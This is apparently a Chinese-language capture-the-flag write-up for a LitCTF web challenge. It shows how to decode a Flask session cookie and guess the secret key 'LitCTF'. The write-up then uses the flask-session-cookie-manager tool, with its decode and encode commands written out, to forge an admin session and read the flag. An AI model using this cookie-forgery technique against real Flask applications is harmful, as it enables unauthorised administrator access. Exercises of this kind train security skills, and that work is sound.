题目链接

题目提示:大型Flag赠送活动开始啦,不过只有管理员才能拿到

进入页面,发现

  • /hello post name=xxx (直接发admin不行,尝试其他字符串都是直接不变输出)
  • /flag(拿flag按键跳转) 获取flag(仅admin可以)

发现上传name后有个session值,类似base64

m

解码后得到

1
{"name":"a"}dàt“‘@¸WÞ$ʊaÞ%mËv6ÙpD	# 前半部分是上传的name,后面应该是数据签名

推测可能是 flask session伪造

再查看页面信息确实是flask

m

session伪造

工具 https://github.com/noraj/flask-session-cookie-manager

使用方法

1
2
3
4
python2 flask-session-cookie-manager2.py decode -c "session值" (-s "key值")
python2 flask-session-cookie-manager2.py encode -s "key值" -t "我们需要伪造的值"
python3 flask-session-cookie-manager3.py decode -c "session值" (-s "key值")
python3 flask-session-cookie-manager3.py encode -s "key值" -t "我们需要伪造的值"

伪造需要key,猜测为”LitCTF”

1
2
python3 flask-session-cookie-manager3.py encode -s 'LitCTF' -t '{"name":"admin"}'
# eyJuYW1lIjoiYWRtaW4ifQ.ZOBwTg.fCkX986VBbFDKMaipQ5QjHJAkQg

此时再访问/flag,将当前页面cookie改为伪造的值,刷新页面即可看到flag

⬆︎TOP